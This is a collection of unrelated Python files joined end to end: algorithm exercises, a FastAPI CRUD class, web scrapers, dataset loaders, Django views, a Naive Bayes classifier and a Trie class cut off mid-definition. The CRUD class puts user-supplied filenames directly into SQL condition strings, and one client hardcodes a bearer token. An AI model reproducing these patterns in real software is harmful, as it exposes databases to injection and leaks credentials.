"""
给定一个 没有重复 数字的序列，返回其所有可能的全排列。

#### 示例:

输入: [1,2,3]
输出:
[
  [1,2,3],
  [1,3,2],
  [2,1,3],
  [2,3,1],
  [3,1,2],
  [3,2,1]
]
"""

def permute(nums):
    ret = []
    def dfs(a, k, predict):
        n = len(a)
        for i in range(n):
            a[k] = i
            if predict(a, k):
                if k == n - 1:
                    ret.append(list(map(lambda i: nums[i], a)))
                else:
                    dfs(a, k + 1, predict)

    def check(a, k):
        for i in range(k):
            if a[i] == a[k]:
                return False
        return True

    l = len(nums)
    dfs([0 for _ in range(l)], 0, check)
    return ret

if __name__ == '__main__':
    print(permute([1, 2, 3]))


from fastapi import UploadFile,File, status
from fastapi.responses import Response
from CaesarSQLDB.caesarcrud import CaesarCRUD
class CaesarAIModelCRUD:
    def __init__(self,caesarcrud : CaesarCRUD) -> None:
        self.caesarcrud = caesarcrud
    async def postmodel(self,table :str,file : UploadFile = File(...)):
        filename = file.filename
        modelbytes = await file.read()
        modelhex = modelbytes.hex().encode()
        condition = f"filename = '{filename}'"
        model_exists = self.caesarcrud.check_exists(("*"),table,condition)
        if model_exists:
            return {"message":"model already exists."}
        else:
            res = self.caesarcrud.post_data(("filename",),(filename,),table)
            res = self.caesarcrud.update_blob("model",modelhex,table,condition=condition)
            if res:
                return {"message":"model was posted."}
            else:
                return {"error":"posting error"}
    def getmodel(self,table :str, filename : str):
        condition = f"filename = '{filename}'"
        model_exists = self.caesarcrud.check_exists(("*"),table,condition)
        if model_exists:
            model_json = self.caesarcrud.get_data(("filename","model"),table,condition=condition)[0]
            modelfilename = model_json["filename"]
            modelhex = model_json["model"].decode()
            model = bytes.fromhex(modelhex)
            return Response(model,
                            headers={'Content-Disposition': f'attachment; filename="{modelfilename}"'},
                            status_code=status.HTTP_200_OK)
        else:
            return {"error":"model doesn't exist."}
    def deletemodel(self,table :str, filename :str):
        condition = f"filename = '{filename}'"
        model_exists = self.caesarcrud.check_exists(("*"),table,condition)
        if model_exists:
            res = self.caesarcrud.delete_data(table,condition)
            if res:
                    return {"meesage":"model was deleted."}
            else:
                    return {"error":"error when deleting"}
        else:
            return {"error":"model doesn't exist."}
    async def updatemodel(self,table:str,filename: str,file : UploadFile = File(...)):
        newfilename = file.filename
        modelbytes = await file.read()
        modelhex = modelbytes.hex().encode()
        condition = f"filename = '{filename}'"
        model_exists = self.caesarcrud.check_exists(("*"),table,condition)
        if model_exists:
            res = self.caesarcrud.update_data(("filename",),(newfilename,),table,condition=condition)
            res = self.caesarcrud.update_blob("model",modelhex,table,condition=condition)
            if res:
                 return {"message":"model was updated."}
            else:
                return {"error":"error updating."}
        else:
            return {"message":"model does not exists."}


#IMPORTING REQUIRED MODULES
import concurrent.futures
from bs4 import BeautifulSoup
import requests

def Get_Movie_Data(movie):
    movie_name = movie.a.text
    year = movie.span.text[1:-1]

    #REDIRECTING TO THE SPECIFIC MOVIE PAGE USING THE HYPERLINK ON THE TITLE
    url = "https://www.imdb.com/"+movie.a["href"]

    #GETTING RESPONSE FROM THE MOVIE PAGE AND PARSING IT
    page2 = requests.get(url).text
    soup2 = BeautifulSoup(page2)

    #EXTRACTIING REQUIRED DATA
    rating = soup2.find("span", class_ = "AggregateRatingButton__RatingScore-sc-1ll29m0-1 iTLWoV").text
    genre = soup2.find("span", class_ = "ipc-chip__text").text
    desc = soup2.find("span", class_ = "GenresAndPlot__TextContainerBreakpointXS_TO_M-sc-cum89p-0 kHlJyu").text
    director = soup2.find("a", class_ = "ipc-metadata-list-item__list-content-item ipc-metadata-list-item__list-content-item--link").text
    nominations = soup2.find("span", class_ = "ipc-metadata-list-item__list-content-item").text
    language = soup2.find("li", {"class": "ipc-metadata-list__item", "data-testid": "title-details-languages"}).a.text
    temp_runtime = soup2.find("li", {"class": "ipc-metadata-list__item", "data-testid": "title-techspec_runtime"})
    runtime = temp_runtime.find("div", class_ = "ipc-metadata-list-item__content-container").text
    temp_budget = soup2.find("li", {"class": "ipc-metadata-list__item BoxOffice__MetaDataListItemBoxOffice-sc-40s2pl-2 gwNUHl", "data-testid": "title-boxoffice-budget"})
    budget = "Not Available"
    #SINCE BUDGET IS NOT AVAILABLE FOR SOME MOVIES, APPLYING CONDITION.
    if temp_budget:
        budget = temp_budget.find("span", class_ = "ipc-metadata-list-item__list-content-item").text.split()[0]

    temp_gross = soup2.find("li", {"class": "ipc-metadata-list__item BoxOffice__MetaDataListItemBoxOffice-sc-40s2pl-2 gwNUHl", "data-testid": "title-boxoffice-cumulativeworldwidegross"})
    gross = "Not Available"
    #SINCE GROSS IS NOT AVAILABLE FOR SOME MOVIES, APPLYING CONDITION.
    if temp_gross:
        gross = temp_gross.find("span", class_ = "ipc-metadata-list-item__list-content-item").text.split()[0]

    #WRITING THE GATHERED DATA INTO THE FILE CREATED IN THE BEGINNING.
    f.write(f"Name: {movie_name} \n")
    f.write(f"Year: {year} \n")
    f.write(f"Rating: {rating} \n")
    f.write(f"Genre: {genre} \n")
    f.write(f"Director: {director} \n")
    f.write(f"Language: {language} \n")
    f.write(f"Runtime: {runtime} \n")
    f.write(f"Description: {desc} \n")
    f.write(f"Estimated Budget: {budget} \n")
    f.write(f"Worldwide Gross: {gross} \n")
    f.write(f"Awards: {nominations} \n")
    f.write("\n")

    print(f"{movie_name} added to list")

#CREATING A NEW FILE
with open("./Movies.txt", "w", encoding="utf-8") as f:

    #GETTING RESPONSE FROM THE MAIN PAGE
    main_page = requests.get("https://www.imdb.com/chart/top/").text

    #PARSING THE MAIN PAGE
    soup = BeautifulSoup(main_page, "lxml")

    #GETTING ALL THE MOVIES
    movies = soup.find_all("td", class_ = "titleColumn")

    #CONCURRENTLY ITERATING THROUGH EACH MOVIE
    with concurrent.futures.ThreadPoolExecutor() as executor:
      executor.map(Get_Movie_Data, movies)

    #CLOSING FILE
    f.close()
    print("Done")


import requests

sheety_endpoint = "https://api.sheety.co/b07d1c7a09b737068db5e62ed70bccf0/flightDeals/users"

BEARER_TOKEN = "hdsaflk;jhadsfjlk;h;jlk3h24532141l23;1352ASD1F3132"

sheety_headers = {
    "Authorization": f"Bearer {BEARER_TOKEN}",
}

class GetUsers:
    def __init__(self):
        self.endpoint = sheety_endpoint
        self.headers = sheety_headers
        self.token = BEARER_TOKEN
        self.request_users()

    def request_users(self):
        response = requests.get(url=self.endpoint, headers=self.headers)
        data = response.json()
        return data["users"]


from lxml import etree

from odoo.tests import Form, TransactionCase

class TestDatePlannedFinished(TransactionCase):
    @classmethod
    def setUpClass(cls):
        super().setUpClass()
        cls.env = cls.env(context=dict(cls.env.context, tracking_disable=True))
        cls.company = cls.env.ref("base.main_company")
        cls.company.manufacturing_lead = 1
        cls.product = cls.env.ref("mrp.product_product_computer_desk")
        cls.product.produce_delay = 1
        cls.product_bom = cls.env.ref("mrp.mrp_bom_desk")

    def test_mrp_production_date_planned_finished_onchange(self):
        """Test that date_planned_start is set when date_planned_finished is changed."""
        with Form(self.env["mrp.production"]) as mo:
            mo.product_id = self.product
            mo.bom_id = self.product_bom
            mo.product_qty = 1
            mo.date_planned_finished = "2022-10-10 10:00:00"
        self.assertEqual(mo.date_planned_start, "2022-10-08 10:00:00")

    def test_mrp_production_date_planned_finished_decoration(self):
        """Test that the date_planned_finished field is decorated properly

        Its decoration has to exactly match the date_planned_start one.
        As this might change if odoo updates their code, or during migrations,
        this test case will track any mismatches and fail.
        """
        res = self.env["mrp.production"].fields_view_get(view_type="form")
        doc = etree.XML(res["arch"])
        date_planned_start = doc.xpath("//field[@name='date_planned_start']")[0]
        date_planned_finished = doc.xpath("//field[@name='date_planned_finished']")[0]
        decoration_attrs = [
            attr
            for attr in date_planned_start.attrib.keys()
            if attr.startswith("decoration-")
        ]
        for attr in decoration_attrs:
            self.assertEqual(
                date_planned_start.attrib[attr],
                date_planned_finished.attrib[attr],
                f"date_planned_finished decoration mismatch: {attr}",
            )


from sbg import cwl

# First node
@cwl.to_tool(
    inputs=dict(x=cwl.String()),
    outputs=dict(out=cwl.Float(required=True)),
    docker='images.sbgenomics.com/filip_tubic/ubuntu1604py'
)
def to_float(x):
    return dict(out=float(x))

# Second node
@cwl.to_tool(
    inputs=dict(x=cwl.Float(), n=cwl.Int()),
    outputs=dict(out=cwl.Float()),
    docker='images.sbgenomics.com/filip_tubic/ubuntu1604py'
)
def times_n(x, n=10):
    return dict(out=x * n)

with cwl.workflow('wf.cwl', 'w') as wf:
    # create tools
    t1 = to_float()
    t2 = times_n()

    # steps
    wf.add_step(t1, expose=['x'])
    wf.add_step(t2, expose=['n', 'out'])

    # add connections
    wf.add_connection('{}.out'.format(t1.id), '{}.x'.format(t2.id))


string = input("Digite uma string: ")
conta = {}  # dicionário vazio
for letra in string:
    if letra in conta:
        conta[letra] += 1
    else:
        conta[letra] = 1  # adiciona letra no dicionário
letramais = ''
for key in conta:
    if not letramais:  # nenhuma mais comum ainda
        letramais = key
    elif conta[key] > conta[letramais]:
        letramais = key
print(letramais)


"""
PENEPMA worker
"""

# Standard library modules.
import os
import asyncio
import logging

logger = logging.getLogger(__name__)

# Third party modules.
from pypenelopetools.penepma.input import PenepmaInput
from pypenelopetools.penepma.results import PenepmaResult

# Local modules.
from pymontecarlo.options.program.worker import WorkerBase
from pymontecarlo.util.process import create_startupinfo, kill_process
from pymontecarlo.exceptions import WorkerError

# Globals and constants variables.

class PenepmaWorker(WorkerBase):
    async def _run(self, token, simulation, outputdir):
        options = simulation.options
        program = options.program

        # Export
        token.update(0.1, "Exporting simulation")
        await program.exporter.export(options, outputdir)

        # Run
        token.update(0.2, "Run simulation")

        infilepath = os.path.join(outputdir, program.exporter.DEFAULT_IN_FILENAME)
        with open(infilepath, "r") as fileobj:
            # Read targets
            penepma_input = PenepmaInput()
            penepma_input.read(fileobj)

            (target_time_s,) = penepma_input.TIME.get()

            (target_trajectories,) = penepma_input.NSIMSH.get()

            _izs1s200, _idet, target_uncertainty = penepma_input.REFLIN.get()
            if target_uncertainty is None:
                target_uncertainty = 1.0

            fileobj.seek(0)

            # Setup result reader
            result = PenepmaResult()

            # Launch simulation
            args = [program.executable]

            logger.debug("Launching %s", " ".join(args))

            kwargs = {}
            kwargs["stdin"] = fileobj
            kwargs["stdout"] = asyncio.subprocess.PIPE
            kwargs["stderr"] = asyncio.subprocess.DEVNULL
            kwargs["cwd"] = outputdir
            kwargs["startupinfo"] = create_startupinfo()

            process = await asyncio.create_subprocess_exec(*args, **kwargs)

            try:
                # Update token
                while True:
                    stdout = await process.stdout.readline()
                    stdout = stdout.decode("ascii").strip()
                    if not stdout:
                        break
                    logger.debug("Stdout: {}".format(stdout))

                    if stdout.startswith("Number of simulated showers ="):
                        try:
                            result.read_directory(outputdir)
                        except:
                            logger.exception("Error while reading results")
                            continue

                        current_time_s = result.simulation_time_s.n
                        progress_time = current_time_s / target_time_s

                        current_trajectories = result.simulated_primary_showers.n
                        progress_trajectories = (
                            current_trajectories / target_trajectories
                        )

                        current_uncertainty = result.reference_line_uncertainty.n
                        progress_uncertainty = (
                            target_uncertainty - current_uncertainty
                        ) / target_uncertainty

                        progress = max(
                            0.001,
                            progress_time,
                            progress_trajectories,
                            progress_uncertainty,
                        )
                        progress = 0.7 * progress + 0.2
                        token.update(progress, "Running...")
                    else:
                        token.update(0.2, stdout)

                returncode = await process.wait()
                if returncode != 0:
                    raise WorkerError("Error running PENEPMA")

            except asyncio.CancelledError:
                # Make sure the process is killed before raising CancelledError
                kill_process(process.pid)
                raise

        # Import
        token.update(0.9, "Importing results")

        simulation.results += await program.importer.import_(options, outputdir)

        return simulation


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import curses
from mainMenu import MainMenu
from window import Window
# from chars import Chars

def start(window):
    # chars = Chars(window)
    # chars.run()
    mainMenu = MainMenu(window)
    mainMenu.run()

def main(stdscr):
    window = Window(stdscr)
    start(window)

if __name__ == "__main__":
    curses.wrapper(main)


from clases import viajeroFrecuente2
import csv

class manejadorC:
    __lviajero = []

    def __init__(self):
        self.__lviajero = []

    def agregarV(self, unV):
        self.__lviajero.append(unV)

    def testV(self):
        archi = open("ViajeroFrecuente.csv")
        reader = csv.reader(archi, delimiter=",")
        for fila in reader:
            numeroviajero = int(fila[0])
            dni = fila[1]
            nombre = fila[2]
            apellido = fila[3]
            millasacum = int(fila[4])
            unV = viajeroFrecuente2(numeroviajero, dni, nombre, apellido, millasacum)
            self.__lviajero.append(unV)
        archi.close()

        i = 0

        while i < len(self.__lviajero):
            V = self.__lviajero[i].mostrarDatos()
            i += 1

    def mayorM(self):
        viajero_mayor = max(self.__lviajero)
        print(viajero_mayor.datosMayorMillas())


import os
import cv2, torch
import numpy as np
from PIL import Image
from datasets.utils import read_pfm
from torch.utils.data import Dataset
from torchvision import transforms as T

class MVSDataset(Dataset):
    def __init__(self, root_dir, split, n_views=3, levels=3, depth_interval=2.65):
        self.root_dir = root_dir
        self.split = split
        assert self.split in ['train', 'val', 'test'], \
            'split must be either "train", "val", "test" '
        self.n_views = n_views
        self.levels = levels # FPN levels
        self.depth_interval = depth_interval

        self.build_metas()
        self.define_transforms()

    def build_metas(self):
        self.metas = []
        with open(f'lists/dtu/{self.split}.txt') as f:
            self.scans = [line.rstrip() for line in f.readlines()]

        light_idxs = range(7)
        pair_file = "Cameras/pair.txt"
        for scan in self.scans:
            with open(os.path.join(self.root_dir, pair_file)) as f:
                num_viewpoint = int(f.readline())
                # viewpoints (49)
                for _ in range(num_viewpoint):
                    ref_view = int(f.readline().rstrip())
                    src_views = [int(x) for x in f.readline().rstrip().split()[1::2]]
                    for light_idx in light_idxs:
                        self.metas += [(scan, light_idx, ref_view, src_views)]

    def read_cam_file(self, filename):
        with open(filename) as f:
            lines = [line.rstrip() for line in f.readlines()]
        # extrinsics: line [1,5), 4x4 matrix
        extrinsics = np.fromstring(' '.join(lines[1:5]), dtype=np.float32, sep=' ')
        extrinsics = extrinsics.reshape((4, 4))
        # intrinsics: line [7-10), 3x3 matrix
        intrinsics = np.fromstring(' '.join(lines[7:10]), dtype=np.float32, sep=' ')
        intrinsics = intrinsics.reshape((3, 3))
        # depth_min & depth_interval: line 11
        depth_min = float(lines[11].split()[0])
        return intrinsics, extrinsics, depth_min

    def read_depth(self, filename):
        depth = np.array(read_pfm(filename)[0], dtype=np.float32) # (1200, 1600)
        depth = cv2.resize(depth, None, fx=0.5, fy=0.5,
                            interpolation=cv2.INTER_NEAREST) # (600, 800)
        depth_3 = depth[44:556, 80:720] # (512, 640)
        depth_2 = cv2.resize(depth_3, None, fx=0.5, fy=0.5,
                             interpolation=cv2.INTER_NEAREST)
        depth_1 = cv2.resize(depth_2, None, fx=0.5, fy=0.5,
                             interpolation=cv2.INTER_NEAREST)

        depths = {"stage3": torch.FloatTensor(depth_3),
                  "stage2": torch.FloatTensor(depth_2),
                  "stage1": torch.FloatTensor(depth_1)}

        return depths

    def read_mask(self, filename):
        mask = cv2.imread(filename, 0) # (1200, 1600)
        mask = cv2.resize(
            mask, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_NEAREST
        ) # (600, 800)

        mask_3 = mask[44:556, 80:720] # (512, 640)
        mask_2 = cv2.resize(mask_3, None, fx=0.5, fy=0.5,
                            interpolation=cv2.INTER_NEAREST)
        mask_1 = cv2.resize(mask_2, None, fx=0.5, fy=0.5,
                            interpolation=cv2.INTER_NEAREST)

        masks = {"stage3": torch.BoolTensor(mask_3),
                 "stage2": torch.BoolTensor(mask_2),
                 "stage1": torch.BoolTensor(mask_1)}

        return masks

    def define_transforms(self):
        if self.split == 'train': # you can add augmentation here
            self.transform = T.Compose([T.ToTensor(),
                                        T.Normalize(mean=[0.485, 0.456, 0.406],
                                                    std=[0.229, 0.224, 0.225]),
                                       ])
        else:
            self.transform = T.Compose([T.ToTensor(),
                                        T.Normalize(mean=[0.485, 0.456, 0.406],
                                                    std=[0.229, 0.224, 0.225]),
                                       ])

    def __len__(self):
        return len(self.metas)

    def __getitem__(self, idx):
        sample = {}
        scan, light_idx, ref_view, src_views = self.metas[idx]
        # use only the reference view and first nviews-1 source views
        view_ids = [ref_view] + src_views[:self.n_views-1]

        imgs = []
        proj_mats = [] # record proj mats between views
        for i, vid in enumerate(view_ids):
            img_filename = os.path.join(
                self.root_dir, f'Rectified/{scan}/rect_{vid+1:03d}_{light_idx}_r5000.png'
            )
            mask_filename = os.path.join(
                self.root_dir, f'Depths/{scan}/depth_visual_{vid:04d}.png'
            )
            depth_filename = os.path.join(
                self.root_dir, f'Depths/{scan}/depth_map_{vid:04d}.pfm'
            )
            proj_mat_filename = os.path.join(
                self.root_dir, f'Cameras/train/{vid:08d}_cam.txt'
            )

            img = Image.open(img_filename)
            img = self.transform(img)
            imgs += [img]

            intrinsics, extrinsics, depth_min = self.read_cam_file(proj_mat_filename)
            proj_mat = np.zeros(shape=(2, 4, 4), dtype=np.float32)
            proj_mat[0, :4, :4] = extrinsics
            proj_mat[1, :3, :3] = intrinsics
            proj_mats.append(torch.FloatTensor(proj_mat))

            if i == 0:  # reference view
                mask_ms = self.read_mask(mask_filename)
                depth_ms = self.read_depth(depth_filename)

                depth_max = 2.65 * 192 + depth_min
                depth_values = torch.arange(depth_min, depth_max, 2.65)

        imgs = torch.stack(imgs) # (V, 3, H, W)

        # ms proj_mats
        proj_mats_stage1 = torch.stack(proj_mats)
        proj_mats_stage2 = proj_mats_stage1.clone()
        proj_mats_stage2[:, 1, :2, :] = proj_mats_stage2[:, 1, :2, :] * 2
        proj_mats_stage3 = proj_mats_stage1.clone()
        proj_mats_stage3[:, 1, :2, :] = proj_mats_stage3[:, 1, :2, :] * 4
        proj_mats_ms = {
            "stage1": proj_mats_stage1,
            "stage2": proj_mats_stage2,
            "stage3": proj_mats_stage3
        }

        sample['imgs'] = imgs
        sample['proj_mats'] = proj_mats_ms
        sample['depth'] = depth_ms
        sample['mask'] = mask_ms
        sample['depth_values'] = depth_values

        return sample


import glob
import os

class BighandDatasetBase:

    def __init__(self, dataset_path, annotation_folder, test_subject=None, batch_size=16):
        self.dataset_path = dataset_path
        self.test_subject = test_subject
        self.batch_size = batch_size

        self.train_annotation_files, self.test_annotation_files = self._load_annotations(annotation_folder)
        self.train_annotations = self._count_annotations(self.train_annotation_files)
        self.test_annotations = self._count_annotations(self.test_annotation_files)
        self.num_train_batches = int(self.train_annotations // self.batch_size)
        self.num_test_batches = int(self.test_annotations // self.batch_size)

    def _count_annotations(self, annotation_files):
        def file_lines(filename):
            with open(filename) as f:
                for i, l in enumerate(f):
                    pass
            return i + 1

        counts = [file_lines(filename) for filename in annotation_files]
        return sum(counts)

    def _load_annotations(self, annotations_folder):
        subject_dirs = self._get_subject_dirs()
        train_annotation_files = []
        test_annotation_files = []
        for subject_dir in subject_dirs:
            pattern = F"{annotations_folder}/{subject_dir}/[!README]*.txt"
            full_pattern = os.path.join(self.dataset_path, pattern)
            annotation_files = glob.glob(full_pattern)

            if subject_dir == self.test_subject:
                test_annotation_files += annotation_files
            else:
                train_annotation_files += annotation_files
        return train_annotation_files, test_annotation_files

    def _get_subject_dirs(self):
        return [f.stem for f in self.dataset_path.iterdir() if f.is_dir()]


def game_sum_8():
    name = input("Hi, what's your name?\n>> ")
    print('Hi ' + name + "\n")

    print("Whats 5 + 3 \n")
    answer = int(input("type your answer\n>> "))
    if answer == 8:
        print("that is correct, good job!\n")
    else:
        print("incorrect, try again.\n")

def guess_the_number():
    from random import randint

    # name = input("Hi, what's your name?\n>> ")
    # print('Hi ' + name + "\n")

    print("Guess a number from 1 to 10, you have 5 tries:")
    secret_number = randint(1, 10)

    tries = 5
    win = False
    while tries > 0:
        answer = int(input("type your guess: "))

        if answer == secret_number:
            win = True
            print("You guessed the number! Great job!\n")
            break
        else:
            print("incorrect, try again.\n")
            tries -= 1

        if abs(secret_number - answer) < 3:
            if win:
                break
            else:
                print("you are close!")

    if tries == 0 or win:
        print("the secrect number was " + str(secret_number))

game_sum_8()
guess_the_number()


from sqlalchemy import MetaData, Integer, Float, String, ForeignKey, Table, Column

metadata = MetaData()

records = Table(
    'records',
    metadata,
    Column('id', Integer, primary_key=True),
    Column('user_id', Integer, ForeignKey('users.id', ondelete='CASCADE'), nullable=False),
    Column('date', String),
    Column('name', String),
    Column('weight', Float),
    Column('protein', Float),
    Column('fats', Float),
    Column('carbohydrates', Float),
    Column('calories', Float),
)

limits = Table(
    'limits',
    metadata,
    Column('user_id', Integer, ForeignKey('users.id', ondelete='CASCADE')),
    Column('protein', Float, nullable=True),
    Column('fats', Float, nullable=True),
    Column('carbohydrates', Float, nullable=True),
    Column('calories', Float, nullable=True)
)


"""
Code from: https://colab.research.google.com/github/tensorflow/tensorflow/blob/master/tensorflow/lite/g3doc/convert/metadata_writer_tutorial.ipynb

This script writes metadata to a converted tensorflow lite model.
The metadata is used in the Android app.
Without metadata, the model cannot be imported properly in the front end
For more information check: https://www.tensorflow.org/lite/convert/metadata
"""
from tflite_support.metadata_writers import audio_classifier
from tflite_support.metadata_writers import writer_utils

from Constants import SAMPLE_RATE

AudioClassifierWriter = audio_classifier.MetadataWriter
MODEL_PATH = "model/signal/converted/model_signal.tflite"  # path to the converted tensorflow model
SAVE_TO_PATH = "model/signal/converted/model_signal_metadata.tflite"  # save path for the model with metadata

# Task Library expects label files that are in the same format as the one below.
LABEL_FILE = "labels.txt"

# Expected number of channels of the input audio buffer. Note, Task library only
# support single channel so far.
CHANNELS = 1

# Create the metadata writer.
writer = AudioClassifierWriter.create_for_inference(
    writer_utils.load_file(MODEL_PATH), SAMPLE_RATE, CHANNELS, [LABEL_FILE])

# Verify the metadata generated by metadata writer.
print(writer.get_metadata_json())

# Populate the metadata into the model.
writer_utils.save_file(writer.populate(), SAVE_TO_PATH)


from django.http import HttpResponse
from django.shortcuts import render

from .models import Menu
from django.core import serializers
from .models import Booking
from datetime import datetime
import json
from .forms import BookingForm , BookingDateForm

def home(request):
    return render(request, 'index.html')

def about(request):
    return render(request, 'about.html')

def book(request):
     message=None
     form = BookingForm()
     if request.method == 'POST':
         form = BookingForm(request.POST)
         mmd=str(form['reservation_date'].value())
         form_data={
             'reservation_date':mmd
         }
         matching_instance=Booking.objects.filter(**form_data).first()

         if form.is_valid() and matching_instance is None :
             form.save()
             message="Success We can not Wait to see you!!"
         else:
             message="Failed! Sorry but, we are reserved for this date. Please choose another date"
     context = {'form':form,"message":message}
     return render(request, 'book.html', context)

# Add code for the bookings() view

def menu(request):
    menu_data = Menu.objects.all()
    main_data = {"menu": menu_data}
    return render(request, 'menu.html', {"menu": main_data})

def display_menu_item(request, pk=None):
    if pk:
        menu_item = Menu.objects.get(pk=pk)
    else:
        menu_item = ""
    return render(request, 'menu_item.html', {"menu_item": menu_item})
def bookings(request):
    form=BookingDateForm()
    date =request.GET.get('date',datetime.today().date())
    bookings=Booking.objects.all()
    booking_json =serializers.serialize('json',bookings)
    return render(request, 'bookings.html',{"bookings":booking_json,'form':form})


import math, os, pickle, re
from typing import Tuple, List, Dict

class BayesClassifier:
  """BayesClassifier implementation

  attributes:
    pos_freqs - dictionary of frequencies of positive words
    neg_freqs - dictionary of frequencies of negative words
    pos_filename - name of positive dictionary cache file
    neg_filename - name of positive dictionary cache file
    training_data_directory - relative path to training directory
    neg_file_prefix - prefix of negative reviews
    pos_file_prefix - prefix of positive reviews
  """

  def __init__(self):
    """constructor initializes and trains the Naive Bayes Sentiment classifier.
    if cache of a trained classifier already exists in current folder, it'll be
    loaded, otherwise system will train
    """
    # initialize attributes
    self.pos_freqs: Dict[str, int] = {}
    self.neg_freqs: Dict[str, int] = {}
    self.pos_filename: str = "pos.dat"
    self.neg_filename: str = "neg.dat"
    self.training_data_directory: str = "movie_reviews/" #IMPORTANT -- assumes movie_reviews lies in the same folder as this script
    self.neg_file_prefix: str = "movies-1" #indicates neg reviews
    self.pos_file_prefix: str = "movies-5" #indicates pos reviews

    # check if both cached classifiers exist within the current directory
    if os.path.isfile(self.pos_filename) and os.path.isfile(self.neg_filename):
      print("Data files found - loading to use cached values...")
      self.pos_freqs = self.load_dict(self.pos_filename)
      self.neg_freqs = self.load_dict(self.neg_filename)
    else:
      print("Data files not found - running training...")
      self.train()

  def train(self) -> None:
    """trains classifier, generating pos_freq/neg_freq dictionaries using frequencies
    of words found in corresponding positive/negative reviews
    """
    # get the list of file names from the training data directory
    # os.walk returns a generator
    _, __, files = next(os.walk(self.training_data_directory), (None, None, []))
    if not files:
      raise RuntimeError(f"Couldn't find path {self.training_data_directory}")

    # files now holds a list of the filenames
    # self.training_data_directory holds the folder name where these files are stored

    # text = literal text of the file, what you would see if you
    # opened the file in a text editor
    # text = self.load_file(os.path.join(self.training_data_directory, fName))

    # want to fill pos_freqs and neg_freqs with the correct counts of words
    # their respective reviews

    # for each file, which we have already labelled by prefix:
    #  if negative file, update frequencies in negative dictionary.
    #  if positive file, update frequencies in positive dictionary.
    #  if neither postive or negative, ignore and move to next file

    for index, f in enumerate(files): # type: ignore
      print(f"Training on file {index} of {len(files)}")
      filename_list = self.tokenize(files[index])
      if f.startswith(self.neg_file_prefix):
        #negative review
        text = self.load_file(os.path.join(self.training_data_directory, files[index]))
        text_list = self.tokenize(text)
        self.update_dict(text_list, self.neg_freqs)
      if f.startswith(self.pos_file_prefix):
        #positive review
        text = self.load_file(os.path.join(self.training_data_directory, files[index]))
        text_list = self.tokenize(text)
        self.update_dict(text_list, self.pos_freqs)

    self.save_dict(self.pos_freqs, self.pos_filename)
    self.save_dict(self.neg_freqs, self.neg_filename)
    # to update the frequencies for each file, need to get text of each file, tokenize,
    # then update the appropriate dictionary for those tokens
    # to make life easier, helper function `update_dict` takes our list of tokens from the
    # file and the appropriate dictionary

    # self.save_dict saves the frequency dictionaries to avoid extra
    # work in the future: self.pos_freqs and self.neg_freqs and their filepaths,
    # self.pos_filename and self.neg_filename

  def classify(self, text: str) -> str: #our string classifier which we can use after training
    """classifies given text as positive, negative or neutral from calculating
    the most likely document class to which the target string belongs

    Args:
      text - text to classify

    Returns:
      classification, either positive, negative or neutral
    """
    textlist = self.tokenize(text)
    pos_prob = 0.0
    neg_prob = 0.0
    pos_dict = self.load_dict(self.pos_filename)
    neg_dict = self.load_dict(self.neg_filename)
    pos_denom = sum(pos_dict.values())
    neg_denom = sum(neg_dict.values())
    for i, f in enumerate(textlist): #type: ignore
      if f in pos_dict:
        pos_prob += math.log((pos_dict[textlist[i]] + 1)/pos_denom)
      else:
        pos_prob += 1/pos_denom
      if f in neg_dict:
        neg_prob += math.log((neg_dict[textlist[i]]+ 1)/neg_denom)
      else:
        neg_prob += 1/neg_denom
    #print(pos_prob)
    #print(neg_prob)
    print("Classification for entered string: " + text)
    if pos_prob > neg_prob:
      return "positive :)"
    elif pos_prob < neg_prob:
      return "negative :("
    else:
      return "even"
    #tokenize text
    #for each word:
      #update the positive probability
      #pos_prob += math.log((number of times this word appears in positive documents + 1) / pos_denom)
      #neg_prob += math.log((number of times this word occurred in negative documents +1 / neg_denom))
      #however, some words can appear zero times in a given document - to fix this we want to add 1
      #to the numerator and 'smooth' out the data; if a word doesn't exist in the dictionary, its numerator is 1
      #because all of these are fractions, though, the numbers will become quite small
      #instead of multiplying the probabilities, we want to just add the logs of the probabilities, hence +=
      #math.log(fraction)
      #we'll need to wrap this all in an 'if' to check if such words appear in the dictionary
      #just compare the two words with a greater than or less than

    # return a string of "positive" or "negative"

  def load_file(self, filepath: str) -> str:
    """loads text of given file

    Args:
      filepath - relative path to file to load

    Returns:
      text of the given file
    """
    with open(filepath, encoding = 'utf-8') as f:
      return f.read()

  def save_dict(self, dict: Dict, filepath: str) -> None:
    """pickles given dictionary to a file with the given name

    Args:
      dict - a dictionary to pickle
      filepath - relative path to file to save
    """
    print(f'Dictionary saved to file: {filepath}')
    with open(filepath, 'wb') as f:
      pickle.Pickler(f).dump(dict)

  def load_dict(self, filepath: str) -> Dict:
    """loads pickled dictionary stored in given file

    Args:
      filepath - relative path to file to load

    Returns:
      dictionary stored in given file
    """
    #print(f'Loading dictionary from file: {filepath}')
    with open(filepath, "rb") as f:
      return pickle.Unpickler(f).load()

  def tokenize(self, text: str) -> List[str]: #tokenize input sentences to compare word by word
    """splits given text into a list of the individual tokens in order

    Args:
      text - text to tokenize

    Returns:
      tokens of given text in order
    """
    tokens = []
    token = ""
    for c in text:
      if re.match("[a-zA-Z0-9]", str(c)) != None or c == "\'" or c == "_" or c == '-':
        token += c
      else:
        if token != "":
          tokens.append(token)
          token = ""
        if c.strip() != "":
          tokens.append(str(c.strip()))

    if token != "": tokens.append(token)
    return tokens

  def update_dict(self, words: List[str], freqs: Dict[str, int]) -> None:
    """updates given (word -> frequency) dictionary with given words list

    Args:
      words - list of tokens to update frequencies of
      freqs - dictionary of frequencies to update
    """
    for word in words:
      word = word.strip().lower()
      if word in freqs:
        freqs[word] += 1
      else:
        freqs[word] = 1

bc = BayesClassifier()
print(bc.classify("I love python!")) # should print positive
print(bc.classify("I hate python!")) # print negative
print(bc.classify("happy")) # and so forth
print(bc.classify("please follow @blessed_animals on instagram for quality cute animal pictures ugh why is this classified as negative :((((("))
print(bc.classify("let's try again: @blessed_animals on instagram is incredible and aesthetically pleasing"))
print(bc.classify("thank you for pulling thru naive bayes"))


n = int(input())
arr = list(map(int, input().rstrip().split()))
count_positive, count_negative,  count_zero = 0, 0, 0
for x in arr:
    if x > 0:
        count_positive += 1
    elif x < 0:
        count_negative += 1
    elif x == 0:
        count_zero += 1
print(count_positive/len(arr))
print(count_negative/len(arr))
print(count_zero/len(arr))


class Trie(object):

    def __init__(self,words):
        self._end = '*'
        self.trie = dict()
        self.max = 1
        self.word = ""
        self.maxlet = 1
        self.letter = ''
        self.chars = {}
        self.words = words
        for word in self.words.split():
            self.add_word(word)
        self.freq_word()

